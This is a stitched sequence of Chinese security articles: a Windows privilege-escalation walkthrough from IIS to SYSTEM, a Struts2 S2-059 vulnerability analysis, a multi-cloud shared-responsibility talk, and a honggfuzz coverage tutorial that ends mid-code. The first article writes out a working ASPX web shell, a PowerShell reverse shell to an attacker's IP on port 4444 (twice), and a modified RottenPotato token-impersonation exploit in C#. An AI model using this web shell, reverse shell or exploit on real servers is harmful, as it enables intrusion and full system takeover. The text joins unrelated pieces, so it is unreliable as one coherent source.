Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
RunCmd= MyString
End Function
</script>
<html>
<body>
<form action="cmd.aspx" method=POST>
Enter your shell command <input type=text name=cmd size=4>
<input type=submit name=go></form>
< %
if request(“cmd”) <> “” then
response.write(“
<pre>“+ RunCmd(request(“cmd”))+ “</pre>
“)
end if
%>
</body></html>
Webshell正常工作，具体如下图所示（ISS默认的apppool）：
我们所拥有的权限信息如下所示（whoami/priv）：
我们已经拿到了我们所需要的权限，而剩下的就是拿到一个交互式的反向Powershell：
powershell -nop -c “$c = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);
$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (IEX $d 2>&1 | Out-String );
$sb2 = $sb + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sby = ([text.encoding]::ASCII).GetBytes($sb2);
$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()”
非常好，我们的反向Shell也能够正常运行。
接下来，我们需要从GitHub代码库【[传送门](https://github.com/foxglovesec/RottenPotato)】中下载Rotten
Potato PoC（C#），然后在Visual Studio中打开项目代码。
打开之后，我们先看看“Potato”项目中的_LocalToken.cs文件：
其中的mygetuser()函数告诉我们，我们现在已经是“SYSTEM”了，如果我们直接在Meterpreter会话中运行我们的漏洞利用代码，那我们就可以窃取到“SYSTEM”令牌，并用它来伪装成该系统中的特殊用户了。
但是我们的要求是避免使用Meterpreter，所以我们需要用不同的方法来实现这个目标。
首先，我们需要确保一切都能够正常运行，因此我们需要添加一下自定义代码：
为了得到SYSTEM令牌，我们需要调用QuerySecurityContext()
API，然后在新的状态下伪造令牌。接下来，我们还需要尝试在目录c:windows下创建一个子目录。
完成了整个项目的编译之后，我们需要使用ILMerge.exe来创建一个单独的可执行程序。如果你选择的是Framework
3.5版本以上的平台，别忘了修改代码中的 .NET框架版本。可供参考的样本代码如下所示：
ILMerge.exe Potato.exe NHttp.dll
SharpCifs.dll Microsoft.VisualStudio.OLE.Interop.dll
/out:myrotten.exe
/targetplatform:v4,”C:Program Files (x86)Reference AssembliesMicrosoftFramework.NETFrameworkv4.5”
这里我就不介绍如何将生成的可执行程序上传到c:windowstemp目录中了，因为你应该知道怎么用PowerShell的反向Shell来完成上传了吧？
如果一切顺利的话，你应该可以通过启动myrotten.exe并在c:windows目录下创建一个名叫“rottenpotato”的子目录了。
非常好，我们的漏洞利用PoC可以成功运行了，接下来我们继续往下看。
我们的策略如下：
其实我们并不需要跟“incognito“进行交互，我们准备通过命令行来启动一个新的进程，然后伪装成SYSTEM用户。
首先，我们需要对Program.cs的Main()函数进行一些调整：
我们需要在公共静态字符串CmdLine中存储我们将要调用的程序名称，例如一个反向PowerShell。
接下来就是最重要的部分了，那么为了使用SYSTEM令牌生成一个新的进程，我们需要调用哪一个Windows API呢？
思考片刻之后，我们设计出了以下两种备选方案：
### 方案一
BOOL WINAPI CreateProcessAsUser(
_In_opt_ HANDLE hToken,
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
### 方案二
BOOL WINAPI CreateProcessWithTokenW(
_In_ HANDLE hToken,
_In_ DWORD dwLogonFlags,
_In_opt_ LPCWSTR lpApplicationName,
_Inout_opt_ LPWSTR lpCommandLine,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCWSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOW lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInfo
);
这些函数其实都是差不多的，它们都接受令牌来作为输入参数。但它们的主要区别在于：
CreateProcessWithTokenW()使用起来限制更少一点，因为它只需要SeImpersonate权限。但是，它似乎无法在Session
0（我们的shell运行在其中，因为我们是从IIS服务中启动的shell）中正常工作。
CreateProcessAsUser()同样需要SeAssignPrimaryToken权限（我们有这个权限），但是它可以在Session 0中运行。
因此，对于我们来说，我们当然要选择CreateProcessAsUser()了。
我们需要设置RunMyProcessAsUser()函数，并用它来传递我们之前所获取到的令牌。
public class MyProcess
{
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 dwProcessID;
public Int32 dwThreadID;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public Int32 Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[DllImport("advapi32.dll",
EntryPoint = "CreateProcessAsUser", SetLastError = true,
CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)
]
public static extern bool
CreateProcessAsUser(IntPtr hToken,
string lpApplicationName, string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment,
string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo,
ref PROCESS_INFORMATION lpProcessInformation);
}
. . . .
public bool RunMyProcessAsUser(IntPtr hToken)
{
MyProcess.PROCESS_INFORMATION pi = new MyProcess.PROCESS_INFORMATION();
MyProcess.SECURITY_ATTRIBUTES sa = new MyProcess.SECURITY_ATTRIBUTES();
MyProcess.STARTUPINFO si = new MyProcess.STARTUPINFO();
try
{
sa.Length = Marshal.SizeOf(sa);
si.cb = Marshal.SizeOf(si);
si.lpDesktop = String.Empty;
bool result = MyProcess.CreateProcessAsUser(
hToken,
Program.CmdLine,
String.Empty,
ref sa, ref sa,
false, 0, IntPtr.Zero,
@"C:\", ref si, ref pi
);
if (!result)
{
int error = Marshal.GetLastWin32Error();
Console.WriteLine(String.Format("RunMyProcess Error: {0}", error));
return false;
}
Console.WriteLine("Executed:" + Program.CmdLine);
Process currentProcess = Process.GetCurrentProcess();
}
finally
{
if (pi.hProcess != IntPtr.Zero)
MyProcess.CloseHandle(pi.hProcess);
if (pi.hThread != IntPtr.Zero)
MyProcess.CloseHandle(pi.hThread);
}
return true;
}
声明完必要的数据结构以及API调用之后，我们则需要调用CreateProcessAsUser()来传递必要的参数，首先就是我们的令牌，其次是需要执行的命令以及某些默认配置值。需要提醒大家的是，我们的工作目录为C:。
正如你所看到的那样，在创建进程之前，我们不打算通过调用DuplicateTokenEx()函数来拷贝我们的令牌，因为我们没必要这样做。
我们将在下面代码中调用我们的函数：
现在，我们需要把所有的东西整合起来进行编译，并对我们的成果进行测试。但是在开始之前，我们要把我们的rev.bat上传到c:\windows\temp目录中。
powershell -nop -c
“$client = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()”
接下来就是见证奇迹的时刻了！
在PS反向Shell（IIS用户）中，我们能够调用我们的myrotten.exe了：
我们的监听控制台情况如下所示：
终于成功啦！
## 总结
正如你所看到的那样，在这篇文章中我只跟大家介绍了如何让相关代码正常工作，大家也可以根据自己的需要来修改项目代码（C#），也欢迎有能力的同学们可以去本项目的GitHub上贡献自己的代码。 | 社区文章 |
# CVE-2019-0230： S2-059 远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 0x01 漏洞简述
2020年08月13日，
360CERT监测发现`Apache官方`发布了`Struts2远程代码执行漏洞`的风险通告，该漏洞编号为`CVE-2019-0230`，漏洞等级：`高危`。漏洞评分：`8.5`。
`攻击者`可以通过构造恶意的`OGNL表达式`，并将其设置到可被外部输入进行修改，且会执行`OGNL`表达式的`Struts2`标签的属性值，引发`OGNL表达式`解析，最终造成`远程代码执行`的影响。
对此，360CERT建议广大用户及时将`Apache Struts2`进行升级完成漏洞修复。与此同时，请做好资产自查以及预防工作，以免遭受黑客攻击。
## 0x02 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级
---|---
威胁等级 | 中危
影响面 | 一般
360CERT评分 | 8.5分
## 0x03 影响版本
* Apache Struts2：2.0.0-2.5.20
## 0x04 漏洞详情
根据官方发布的信息来看，漏洞产生的主要原因是因为`Apache
Struts`框架在强制执行时，会对分配给某些标签属性(如`id`)的属性值执行二次`ognl`解析，对于精心设计的请求，这可能导致远程代码执行(`RCE`)。
官方给出的利用场景如下：
<s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>
这里的`id`属性里的值使用了`ognl`表达式进行包裹，同时该值如果可控，那么就会因为两次的解析而造成`ognl`表达式执行。
**该分析在较低版本中进行测试，仅对漏洞产生原理进行分析，如在高版本中进行执行命令，需绕过沙箱。**
### 拦截器处理请求值
首先，我们需要明确`jsp`是如何进行取值的。
在`com.opensymphony.xwork2.interceptor.ParametersInterceptor`这个拦截器里，会获取我们传入的值。
`ActionContext`存储着当前上下文的请求信息。
在`ParametersInterceptor`里，会把请求的值存入`ValueStack`类型的栈里，这里是`OgnlValueStack`，具体在`setParameters`里。
会调用`stack`的`setValue`方法进行赋值。
接着就会进行一系列复杂的处理，获取`action`指向的`jsp`。然后开始处理对应的`jsp`标签。
### id标签解析
在`org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag`方法中。
从`valueStack`里获取相关的请求值，然后调用`populateParams`方法，该方法对标签进行处理，其中包括`id`标签。
于是跟进`org.apache.struts2.components.Component#setId`方法。
`id`属性不为`null`，于是继续跟进`findString`方法。 然后跟入`findValue`，由于`altSyntax`默认为`true`(
_这个功能是将标签内的内容当作`OGNL`表达式解析，关闭了之后标签内的内容就不会当作`OGNL`表达式解析了_)，所以最终进入`translateVariables`方法(高版本对应的是`evaluate`方法)。
这里会对`id`，也就是`%{skillName}`进行`ognl`表达式执行，执行完剩余部分就是`skillName`。`translateVariables`代码如下：
public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
Object result = expression;
char[] arr$ = openChars;
int len$ = openChars.length;
for(int i$ = 0; i$ < len$; ++i$) {
char open = arr$[i$];
int loopCount = 1;
int pos = 0;
String lookupChars = open + "{";
while(true) {
int start = expression.indexOf(lookupChars, pos);
if (start == -1) {
int pos = false;
++loopCount;
start = expression.indexOf(lookupChars);
}
//防止递归解析
if (loopCount > maxLoopCount) {
break;
}
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
break;
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (StringUtils.isEmpty(left)) {
result = o;
} else {
result = left.concat(middle);
}
if (StringUtils.isNotEmpty(right)) {
result = result.toString().concat(right);
}
expression = left.concat(middle).concat(right);
} else {
expression = left.concat(right);
result = expression;
}
pos = (left != null && left.length() > 0 ? left.length() - 1 : 0) + (middle != null && middle.length() > 0 ? middle.length() - 1 : 0) + 1;
pos = Math.max(pos, 1);
}
}
XWorkConverter conv = (XWorkConverter)((Container)stack.getContext().get("com.opensymphony.xwork2.ActionContext.container")).getInstance(XWorkConverter.class);
return conv.convertValue(stack.getContext(), result, asType);
}
然后调用`stack.findValue`方法从`stackValue`的`context`上下文中获取之前传入的该参数的具体值。
接着将`expression`值进行重新赋值，赋值为`request`请求传入的`skillName`参数的值，比如`%{1+1}`，这里由于有如下判断：
if (loopCount > maxLoopCount) {
break;
}
此段代码用来防止递归解析`ognl`，所以最终将`%{1+1}`赋值给`result`后，会跳出循环，不再继续解析传入的值，接着往下执行：
XWorkConverter conv = (XWorkConverter)((Container)stack.getContext().get("com.opensymphony.xwork2.ActionContext.container")).getInstance(XWorkConverter.class);
return conv.convertValue(stack.getContext(), result, asType);
会获取上下文中的`ContainerImpl`，并实例化`XWorkConverter`:
然后调用`convertValue`，该方法里也没有做`ognl`解析，判断`value`不为`null`并且类型和一开始预定的类型一致，就返回`value`。
### id值二次解析
回退到`setId`，执行完`findString`后，将`Ancohr.id`重新赋值。
继续`return`到`doStartTag`，执行完`populateParams`方法。 跟入`Anchor.start`。
继续跟进`evaluateParams`，这里会跟据标签做进一步操作。
在判断完一系列标签的值为`null`之后，会调用`populateComponentHtmlId`方法。
该方法再次获取`id`值，而这里的`id`值已经是之前经过`populateParams`方法处理过后的值。接着调用`findStringIfAltSyntax`，传入`id`值。
根据`altSyntax`值，判断是否执行`findString`方法，进入`findString`之后的步骤就和前面对标签的`ognl`表达式执行一样，在`translateVariables`方法执行最终的`ognl`表达式。
### 总结
该漏洞主要是`id`标签的二次`ognl`解析产生的，第一次是在解析`id`标签属性的时候，这时候`id`的值已经被替换为用户输入，而第二次再次获取`id`值，此时的id值已经是用户可控的值，这时候就会解析用户输入的`ognl`表达式。
该漏洞限制条件较多：
1. `Struts2`标签的属性值可执行`OGNL`表达式（比如`id`）。
2. `Struts2`标签的属性值可被外部输入修改。
3. `Struts2`标签的属性值未经安全验证。
4. 高版本需绕过沙箱执行命令。
5. `useAltSyntax`为`true`。
## 0x05 时间线
**2020-08-13** Apache Struts2官方发布安全通告
**2020-08-13** 360CERT发布通告
**2020-09-01** 360-CERT 发布分析
## 0x06 参考链接
1. [CVE-2019-0230:Apache Struts2远程代码执行漏洞通告](https://cert.360.cn/warning/detail?id=d2b39f48fd31f3b36cc957f23d4777af)
2. [Apache Struts2官方安全通告](https://cwiki.apache.org/confluence/display/WW/S2-059) | 社区文章 |
# 多云环境的风险发现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好，我是来自火线安全的刘对。今天主要聊聊租户在多云环境下责任边界的划分。
我这边的分享是比较新手向的，也希望通过我的分享，大家能够对多云下的安全责任边界划分和云上的一些概念有更深的理解。
根据 IDC 的数据，在短短 16 年内，全球整体云计算市场规模从零增长到 2021 年的 7050 亿美元，到 2025 年将预计达到 1.3 万亿。
中国作为全球云计算市场中增长最快的区域，2020 年市场规模达到 487.3 亿美元，预计 2021-2025 年复合增长率为26.0%，云将重塑整个 IT
硬件、软件和服务生态。
在《电子政务》2020年第３期中刊登了《东数西算：我国数据跨域流通的总体框架和实施路径研究》，在 2022 年 2
月份，国家发改委等部门联合印发文件，“东数西算”工程正式全面启动。 可以看到，不论是从云计算市场来看还是从国家战略来看，云计算都必将是未来的趋势。
多云即在多个云服务供应商上部署云环境，多云可以为企业节约成本、提高灵活性、提高可靠性等等，根据《Flexera Releases 2021 State of
the Cloud Report》中的统计信息，有 92% 的企业采用了多云的策略。
由于安全行业是一个伴生行业，在云计算蓬勃发展、绝大多数企业都采用多云策略的背景下，多云中的安全势必会越来越被关注。
云上的安全和传统的安全在某些地方有所不同，其中不可忽视的一点就是：云上的安全有些地方是由云服务商负责的，而有些是地方则是由租户自己去负责的，那么这个边界该如何划分？这是个问题。
在企业上云之前，也许有的企业会认为云上的安全问题应该都是云服务商的责任，什么服务器的安全、数据库的安全都应该由他们来负责。然而实际上并不全是如此，这就好比一个人租了一辆车，这个人在开车的时候，他的安全不全是由租车公司负责一样。
开车的安全边界是很容易区分的，例如疲劳驾驶、开车接打电话这些都是属于驾驶者本身的问题。这时也许有人会想，那么如果我打车或者坐公交，那么这个时候的安全边界又在哪里？各位可以自己去思考一下。
那么其实在云上，也是有“租车”、“打车”、“公交”之分的，不过它们是另一套叫法。
IaaS 也就是基础设施即服务，云服务商提供服务器、操作系统、硬盘等等，然后自己在上面部署应用。这就类似于租车，租车公司提供车辆，然后自己开到目的地。
PaaS 也就是平台即服务，云服务商提供已经安装好应用的服务，比如 RDS、EKS等等，这就类似于出租车，不用自己开车了，直接跟司机说到哪里就行。
SaaS
就是软件即服务，这个是面向最终用户的，用户只需要使用已经成型的软件即可，比如电子邮箱、火线的安全云产品、钉钉等等，这就好比坐公交车，用户只需要上车就行，连自己打车的这一步都省了。
当这三种模式理解了，云上责任边界划分也就容易了。
根据国家现行标准 GB/T 31167-2014《信息安全技术 云计算服务安全指南》中的内容，在 IaaS
服务类别下，虚拟化计算资源层的安全措施由租户和云服务商分担。租户负责自己部署的操作系统、运行环境和应用的安全。云服务商负责虚拟机监视器及底层资源的安全。
在PaaS服务类别下，软件平台层的安全措施由租户和云服务商分担。租户负责自己开发和部署的应用及其运行环境的安全，其他安全措施由云服务商实施。
在SaaS服务类别下，应用软件层的安全措施由租户和云服务商分担，其他安全措施由云服务商实施。 其实说到这里是有些抽象的，所以接下来，将以
TerraformGoat 靶场中的阿里云 SSRF 场景为例，详细讲解责任的区分。
TerraformGoat 是一个多云靶场搭建工具，通过 TerraformGoat 的演示我们可以对多云场景下的风险以及责任边界有个更清晰的认识。
这里将以 TerraformGoat 中的阿里云 SSRF 场景为例，首先搭建靶场，这里直接使用 docker 搭建即可。
接着开始部署场景，首先切换到对应场景的目录下，配置好阿里云的AK，然后初始化 Terraform，再应用场景即可。
稍等一会儿，在 Outputs 里就可以看到 SSRF 靶场的地址了，使用浏览器就可以访问这个靶场了。
在这个部署靶场的过程中，TerraformGoat 会在阿里云上创建一个实例，并允许 8080 端口的请求，接着开始在实例上部署 SSRF 靶场。
在这个场景中，租户所面临的风险以及责任又该如何划分呢？我们下面来好好讨论一下。
我们先来看看这个场景中存在的风险，在这个场景中，主要的风险点是站点存在 SSRF 漏洞，导致了攻击者可以进行读取实例元数据、内网探测等等操作。
这样的一个风险是应该归租户还是云厂商呢？首先我们需要确定这个场景是属于 Iaas 还是 PaaS 或 SaaS 模式。
由于在这个场景中，需要在阿里云上创建实例，并在实例上部署应用，所以不难判断出这是一个 IaaS 模式，接着再根据之前 IaaS
下的责任划分图表去判断对应的责任边界。
在这个图表中，云厂商负责底层硬件设施，例如服务器、交换机、硬盘等等的安全，而租户则负责上层的应用软件部分，其中虚拟化计算资源是由两者分担的。那么这就很容易判断了，这里的
SSRF 漏洞很明显是产生在应用软件层的，因此这个是属于租户的责任。
那么也许会有风险产生在虚拟化计算资源层的场景出现，这时又该如何划分，其实也很简单，举个例子就很清楚了。
比如在实例所关联的虚拟专有网络 VPC 中创建了一条允许 22 端口访问的的安全组规则，那么这个开放 22 端口的风险其实就是属于租户的，但如果在安全组里
22 端口是禁止访问的，但攻击者却绕过了安全组策略，那么这或许就是云厂商的责任了。
再比如租户的控制台密码泄露是属于租户的责任，但由于控制台存在 XSS 漏洞导致租户的账号被盗取，这就是云厂商的责任。
相信通过以上的内容，对于租户和云厂商的责任边界划分，心里已经有个大概的轮廓了，总的来说，不管这些风险是属于租户的责任还是云厂商的责任，整体业务的安全都是需要租户和云厂商共同的努力才行。
最后，我们来简单看一下对于这些云上的风险租户一般是如何去发现以及应对的。
目前比较常见的云安全工具主要有 CASB、CWPP、CSPM 等等，这里将简单分别介绍一下每种工具，企业可以根据自己的情况去选择对应的云安全工具。
CASB 云访问安全代理，本质上是云服务的防火墙，CASB 可以解决识别企业影子资产以及满足监管合规的需求。通过 CASB
的跟踪、报告、记录和事件监控功能，CASB 可以识别企业中所有的云服务，包括一些可能客户自身都不知道的云服务，CASB
可以对这些影子服务进行风险评估并在必要的时候触发警报。通过 CASB 的审计和报告功能，还可以满足一些监管合规的需求。
CWPP 云工作负载保护平台，CWPP 可以解决在企业既有多云、混合云又有物理机、虚拟机、容器等等的情况下，如何统一管理的问题。CWPP
可以为所有类型的工作负载提供安全保护，包括物理服务器、虚拟机、容器、serverless 等等，CWPP 可以为这些工作负载提供统一的可视化和管控能力。
CSPM 云安全态势管理，也有的翻译成云安全配置管理，CSPM
主要是解决多云环境中企业错误配置的问题，在企业中，一个云上的错误配置可能就会产生极大的安全隐患，尤其是在云服务越来越来的情况下。CSPM
可以对这些云服务的配置进行分析与管理，从而帮助企业发现存在的安全风险。企业也可以通过 CSPM 去检测自己的云服务配置是否合规，通过 CSPM
企业可以降低被攻击时所产生的影响。
对于租户，可以根据自身的情况以及需求去选择对应的云安全工具，从而提高自身的安全能力。
这是给大家提供的一些参考资料，欢迎探讨。
获取完整版PPT，请填写问卷：
[https://wenjuan.feishu.cn/m?t=svCwWH1yEyDi-67t2&mode=sidebar-semi](https://wenjuan.feishu.cn/m?t=svCwWH1yEyDi-67t2&mode=sidebar-semi)
视频回放链接：
火线沙龙第26期——多云环境的风险发现
<https://www.bilibili.com/video/BV1PL4y1w7sc/> | 社区文章 |
# honggfuzz漏洞挖掘技术原理分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[houjingyi](https://github.com/houjingyi "@houjingyi") @360CERT
## 前言
Google开发的AFL(WinAFL)、libfuzzer和honggfuzz是最著名的三大基于代码覆盖率的fuzzer。网上关于AFL(WinAFL)的分析文章较多，而关于后两者的分析文章较少。之前泉哥已经写过关于honggfuzz的文章：[honggfuzz漏洞挖掘技术深究系列](https://bbs.pediy.com/thread-247954.htm)。本文是自己学习期间的一个笔记，读者也可当成对泉哥文章的一点补充。建议读者先阅读泉哥的文章，本文不会再涉及重复的内容。
相比其它的fuzzer，honggfuzz有以下特点：
1.含有多个fuzz真实程序(Apache/OpenSSL等等)的示例
2.支持持久型fuzzing(Persistent Fuzzing)模式，即长生命周期进程重复调用被fuzz的API
3.支持Linux/FreeBSD/NetBSD/MacOS/Windows(CygWin)/Android等几乎所有主流操作系统
4.支持基于软件和基于硬件(分支计数(branch counting)，指令计数(instruction counting)，Intel
BTS(Branch Trace Store)，Intel PT(Processor Tracing))的反馈驱动(Feedback-Driven)
5.使用底层接口监视进程(linux和NetBSD下使用ptrace)，与其它fuzzer相比更有可能从crash中发现并报告被劫持/忽略的信号(被fuzz的程序可能截获并隐藏)
## 整体结构
我们首先还是来看一下代码的整体目录。
android&mac&linux&netbsd&posix&arch.h：对不同操作系统的支持，头文件统一在arch.h，接下来分析的代码以linux为例。该目录下有这些文件：
* arch.c：arch.h中函数的实现
* bfd.c：基于bfd(Binary File Descriptor)实现解析符号/反汇编等功能
* perf.c/pt.c：通过perf来使用PT，跟基于硬件的反馈驱动有关
* trace.c：子进程暂停/终止时分析记录
* unwind.c：基于libunwind实现栈回溯
* docs：文档
* examples：使用honggfuzz进行fuzz的一些例子
* hfuzz_cc&libhfuzz：hfuzz_cc编译被fuzz程序的源代码，添加libhfuzz.a库。libhfuzz目录下有这些文件：
* instrument.c：实现各种SanitizerCoverage需要的回调函数
* linux.c：封装了libhfcommon/ns.c中的nsEnter/nsIfaceUp/nsMountTmpfs等函数
* memorycmp.c：对libc/Apache/SSL/libXML/Samba等程序中涉及比较的函数封装，添加instrumentUpdateCmpMap函数，两个参数分别是函数的返回地址和第一次出现不相等字符的位置。第一次出现不相等字符的位置越靠后两个值越接近相等，越有可能走到新的路径
* fetch.c/persistent.c：这里面的代码主要是用于持久型fuzzing模式的，有两种方法使用该模式：
一是把被fuzz的API放在LLVMFuzzerTestOneInput中，然后使用`hfuzz_cc/hfuzz_clang test.c -o
test`命令编译，`honggfuzz -P -- ./test`运行fuzzer
二是在调用被fuzz的API之前添加HF_ITER获取输入，然后使用`hfuzz_cc/hfuzz_clang test.c -o test
~/honggfuzz/libfuzz/libfuzz.a`命令编译，`honggfuzz -P -- ./test`运行fuzzer
* libhfcommon：一些通用操作
* libhfnetdriver：fuzz socket类程序的库
* (libhfcommon和libhfnetdriver中的代码都不太重要，所以不再详细讲解了)
* third_party：第三方文件
* tools：创建黑名单，防止重复fuzz存在相同漏洞的文件
* display.c：显示统计信息
* honggfuzz.c&cmdline.c&fuzz.c：honggfuzz.c是程序的入口，调用cmdline.c中的函数设置处理命令行参数，调用fuzz.c中的函数启动fuzz
* input.c：处理输入文件
* mangle.c：实现各种变异策略
* report.c：生成报告
* sanitizers.c：设置ASAN等sanitizer的一些标志
* socketfuzzer.c&socketfuzzer：socketfuzzer.c 用来fuzz网络服务器，socketfuzzer文件夹中给出了一个存在漏洞的vulnserver_cov.c作为例子
* subproc.c：子进程相关
先给大家举一个使用honggfuzz的例子，以对[mpv-player](https://github.com/mpv-player/mpv)进行fuzz为例。下载好源代码之后我们首先修改wscript增加一些编译选项。
这个时候直接去编译的话链接这一步会出错，我们还没有编写插入的回调函数。
再下载并编译honggfuzz，把libhfuzz目录下编译好的含有回调函数的库链接进来，命令应该像下面这样。
`cc -rdynamic -Wl-znoexecstack -pthread -rdynamic -Wl-version-script
-Wlmpv.def ……(中间是之前编译好的.o文件) -u HonggfuzzNetDriver_main -u
LIBHFUZZ_module_instrument -u LIBHFUZZ_module_memorycmp
/home/hjy/Desktop/honggfuzz/libhfnetdriver/libhfnetdriver.a
/home/hjy/Desktop/honggfuzz/libhfuzz/libhfuzz.a
/home/hjy/Desktop/honggfuzz/libhfuzz/libhfuzz.a
/home/hjy/Desktop/honggfuzz/libhfcommon/libhfcommon.a ……(剩下的命令省略)`
链接成功之后我们再确认一下。
准备一些种子文件就可以开始fuzz了，并且应该可以看到统计的edge/pc/cmp等信息。
上面的一些步骤可能有些读者还不太理解，下面会详细说明，这里先有一个初步的印象。
## SanitizerCoverage
在泉哥的文章中已经介绍了反馈驱动的概念和基于Intel
PT的反馈驱动。这里我们重点聊一聊使用SanitizerCoverage对有源码的程序插桩统计代码覆盖率。SanitizerCoverage内置在LLVM中，可以在函数、基本块和边界这些级别上插入对用户定义函数的回调。默认的回调实现了简单的覆盖率报告和可视化。hfuzz_cc是实现了编译时添加`-fsanitize-coverage=……`标志并链接回调函数库libhfuzz的，只不过上面的例子中mpv是用waf编译的(是一个编译系统，不是web防火墙那个waf)，所以这两个步骤我们是手动实现的。honggfuzz中反馈代码覆盖率信息的结构体feedback_t如下所示。
### -fsanitize-coverage=trace-pc-guard
如果编译源代码时含有`-fsanitize-coverage=trace-pc-guard`标志，编译器在每条边界插入下面的代码，每条边界的guard都不同。
if(*guard)
__sanitizer_cov_trace_pc_guard(uint32_t* guard);
如果是一个较大的函数则只会插入`__sanitizer_cov_trace_pc_guard(uint32_t*
guard);`。在IDA中看起来像下面这样。`__sanitizer_cov_trace_pc_guard`函数中一般会先double
check一下`*guard`的值，如果为0就直接返回了。
编译器还会在模块的构造函数中插入下面的代码，guard的范围在start和stop之间，`__sanitizer_cov_trace_pc_guard_init`函数中一般会从1开始设置`*guard`的值。
__sanitizer_cov_trace_pc_guard_init(uint32_t* start, uint32_t* stop)
在IDA中看起来像下面这样。
来做个简单的实验。首先准备下面的代码。
example.cc:
trace-pc-guard.cc:
编译链接之后分别带命令行参数和不带命令行参数执行程序观察输出结果。
clang++ -g -fsanitize-coverage=trace-pc-guard example.cc -c
clang++ trace-pc-guard.cc example.o -fsanitize=address
honggfuzz中的`__sanitizer_cov_trace_pc_guard_init`函数首先将`guards_initialized`标记为true，如果`feedback->pcGuardMap[*guard]`标记为true说明该边界已经命中，将`*guard`设置为0。
`__sanitizer_cov_trace_pc_guard`函数中对于android系统如果`guards_initialized`为false则强制`*SAN`初始化。如果`feedback->pcGuardMap[*guard]`标记为false说明该边界还没有被命中过，`feedback->pidFeedbackEdge[my_thread_no]`加1，并将`feedback->pcGuardMap[*guard]`标记为true。
### -fsanitize-coverage=indirect-calls
如果编译源代码时含有`-fsanitize-coverage=indirect-calls`标志，编译器在每个非间接跳转之前插入下面的代码。
__sanitizer_cov_trace_pc_indir(void *callee)
我们接着实验。修改一下原来的代码。
example.cc:
trace-pc-indir.cc:
运行程序观察输出结果。
honggfuzz中的`__sanitizer_cov_trace_pc_indir`函数首先取`__sanitizer_cov_trace_pc_indir返回地址<<12`得pos1，然后取间接跳转的地址&0xfff得pos2，将pos1|pos2之后&0x7FFFFFF。
在我们上面的例子中`__sanitizer_cov_trace_pc_indir`返回地址是0x516E99，间接跳转调用的foo函数的地址是0x516E60，所以最后得到的是0x6E99E60。
连续八个这样计算出的addr对应`feedback->bbMapPc[addr]`，每个地址对应1位。取出对应的位中的值，和1做或运算并更新。如果该值为0说明这里的非间接跳转还没有执行，`feedback->pidFeedbackPc[my_thread_no]`加1。
### -fsanitize-coverage=trace-cmp
如果含有`-fsanitize-coverage=trace-cmp`标志，编译器在比较指令之前和switch指令之前插入下面的代码。
void __sanitizer_cov_trace_(const)_cmp1(uint8_t Arg1, uint8_t Arg2);
void __sanitizer_cov_trace_(const)_cmp2(uint16_t Arg1, uint16_t Arg2);
